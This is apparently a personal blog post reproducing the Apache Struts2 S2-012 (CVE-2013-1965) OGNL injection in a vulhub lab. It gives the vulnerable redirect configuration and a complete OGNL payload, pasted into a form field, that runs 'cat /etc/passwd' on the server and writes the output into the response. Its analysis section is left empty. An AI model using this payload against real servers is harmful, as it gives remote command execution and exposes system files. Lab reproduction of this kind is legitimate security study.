Loading

CVE-2013-1965 S2-012复现

0X00-引言


学什么渗透,不归路罢了🙂,上完大学回家养猪🐷它不香吗

0X01-环境搭建


靶机:CentOS Linux 7

攻击机:windows server 2016 && Kail

环境:vulhub

项目地址:https://github.com/vulhub/vulhub

搭建vulhub请访问:空白centos7 64 搭建vulhub(详细)

0X02-漏洞描述


如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如:

<package name="S2-012" extends="struts-default">
    <action name="user" class="com.demo.action.UserAction">
        <result name="redirect" type="redirect">/index.jsp?name=${name}</result>
        <result name="input">/index.jsp</result>
        <result name="success">/index.jsp</result>
    </action>
</package>

这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。

影响版本: 2.1.0 - 2.3.13

0X03-漏洞复现


01-任意命令执行

S2-001的回显POC

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

直接放入表单框内-提交

image-20211202095954549

image-20211202100015521

抓包只是因为看着舒服

image-20211202095813237

0X04-漏洞分析


一时半会分析不出来,等我看懂了源码再来分析

0X05-查看日志

docker ps #查看容器ID
docker exec -it ID /bin/bash #进入
cd logs #进入日志目录
cat localhost_access_log.2021-12-02.txt #查看日志
exit #退出容器

image-20211202101248023

0X06-参考

S2-012 远程代码执行漏洞

posted @ 2021-12-02 21:35  美式加糖  阅读(584)  评论(0编辑  收藏  举报